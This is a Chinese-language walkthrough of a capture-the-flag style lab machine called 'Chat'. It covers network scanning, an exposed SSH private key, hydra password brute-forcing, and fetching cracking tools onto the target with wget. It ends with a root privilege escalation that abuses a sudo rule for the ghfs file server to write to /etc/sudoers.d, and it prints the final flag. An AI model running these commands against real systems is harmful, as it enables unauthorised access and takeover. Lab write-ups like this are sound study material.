一、信息收集

1. 主机发现

首先，在本地网络中使用 `arp-scan` 工具扫描存活主机，确定目标靶机的 IP 地址为 `192.168.205.248`。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.248 08:00:27:60:fd:c6       PCS Systemtechnik GmbH
...
```

2. 端口与服务扫描

使用 `nmap` 对目标主机进行端口和服务扫描，发现其开放了 22 (ssh-chat)、2222 (OpenSSH) 和 8000 (HTTP) 三个端口。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p22,2222,8000 -sC -sV 192.168.205.248
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 23:30 EDT
Nmap scan report for 192.168.205.248
Host is up (0.00033s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     (protocol 2.0)
| fingerprint-strings:
|_  NULL: SSH-2.0-Go ssh-chat
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8000/tcp open  http    Golang net/http server
|_http-title: /
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

- **22/tcp**: 一个基于 Go 的 `ssh-chat` 服务。
- **2222/tcp**: 标准的 OpenSSH 服务，是主要的突破口。
- **8000/tcp**: 一个由 Golang 实现的 HTTP 文件服务器。

3. Web 服务探索

访问 8000 端口，发现是一个文件目录浏览页面。通过页面内容，发现了一个 `.ssh` 目录，这通常存放用户的 SSH 密钥。

在 `.ssh` 目录中，找到了用户的公钥 `authorized_keys` 和私钥 `id_rsa`。将私钥下载到本地，尝试用于后续的登录。

二、初始访问

1. 漏洞利用：SSH 弱口令爆破

首先尝试使用从 Web 服务下载的私钥登录 2222 端口的 SSH 服务，但以失败告终。随后，尝试用同一私钥登录运行在 22 端口的 ssh-chat 服务，这次登录成功了。但在进一步探索中，并未发现其他有价值的线索。值得注意的是，`ssh-chat` 服务的当前用户为 `scycree`，且登录横幅中提到了`todd`，这可能是一个重要提示。

因此，决定对 2222 端口的 SSH 服务进行弱口令爆破。使用 `hydra` 工具，以 `todd` 和 `scycree` 为用户名字典，结合常用密码字典进行爆破。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cat user
todd
scycree
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ hydra -L user -P 5000q.txt ssh://192.168.205.248:2222 -I -u -f -e nsr -t 64
...
[2222][ssh] host: 192.168.205.248   login: todd   password: todd
...
```

爆破成功，获得用户 `todd` 的密码为 `todd`。

2. 获取 Shell

使用获取的凭据 `todd:todd` 成功通过 SSH 登录到目标系统。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh todd@192.168.205.248 -p 2222
todd@192.168.205.248's password: todd
...
todd@Chat:~$ id
uid=1001(todd) gid=1001(todd) groups=1001(todd)
```

三、权限提升

1. 水平提升：todd -> scycree

登录 `todd` 账户后，发现当前权限较低。的目标是提升至 `root` 权限。注意到系统上还存在另一个用户 `scycree`。尝试爆破 `scycree` 用户的密码。

首先，将本地的密码爆破工具 `suForce` 和字典 `rockyou.txt` 上传到靶机的 `/tmp` 目录。

```
todd@Chat:/tmp$ wget 192.168.205.128/suForce
todd@Chat:/tmp$ wget 192.168.205.128/rockyou.txt
todd@Chat:/tmp$ chmod +x suForce
```

然后执行爆破：

```
todd@Chat:/tmp$ ./suForce -u scycree -w rockyou.txt
...
💥 Password | welcome
...
```

成功爆破出 `scycree` 用户的密码为 `welcome`。使用 `su` 命令切换到 `scycree` 用户。

```
todd@Chat:/tmp$ su scycree
Password: welcome
scycree@Chat:/tmp$ id
uid=1000(scycree) gid=1000(scycree) groups=1000(scycree)
```

2. 垂直提升：scycree -> root

切换到 `scycree` 用户后，执行 `sudo -l` 查看其 `sudo` 权限。

```
scycree@Chat:/tmp$ sudo -l
Matching Defaults entries for scycree on Chat:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User scycree may run the following commands on Chat:
    (ALL) NOPASSWD: /usr/bin/ghfs
```

发现 `scycree` 用户可以无密码以 `root` 权限执行 `/usr/bin/ghfs` (Go HTTP File Server)。`ghfs` 带有文件上传功能，这构成了严重的安全漏洞。可以利用这个权限，向 `/etc/sudoers.d/` 目录上传一个恶意的 `sudo` 配置文件，从而授予自己完全的 `root` 权限。

首先，以 `root` 权限启动 `ghfs`，并将其根目录和上传目录都设置为 `/etc/sudoers.d/`。

```
scycree@Chat:/tmp$ sudo /usr/bin/ghfs -r /etc/sudoers.d/ --upload-dir
/etc/sudoers.d/
```

接着，在本地创建一个文件，内容为赋予 `scycree` 用户所有命令的无密码 `sudo` 权限。

```
# 在攻击机上执行
echo "scycree ALL=(ALL:ALL) NOPASSWD: ALL" > a
```

然后，通过浏览器或 `curl` 访问 `ghfs` 提供的 Web 服务 (`http://192.168.205.248:8080`)，将 `a` 文件上传。

上传成功后，`scycree` 的 `sudo` 权限被更新。此时，再次执行 `sudo -l` 可以看到新增的权限。

```
scycree@Chat:/tmp$ sudo -l
...
User scycree may run the following commands on Chat:
    (ALL) NOPASSWD: /usr/bin/ghfs
    (ALL : ALL) NOPASSWD: ALL
```

最后，执行 `sudo bash` 即可获得一个 `root` shell。

```
scycree@Chat:/tmp$ sudo bash
root@Chat:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
```

四、夺取旗帜

成功获取 `root` 权限后，读取位于 `/root` 目录下的最终 `flag`。

```
root@Chat:/tmp# cat /root/root.txt
flag{root-c448ebd8ddef14820eef632ffe833f3c}
```

至此，渗透测试完成。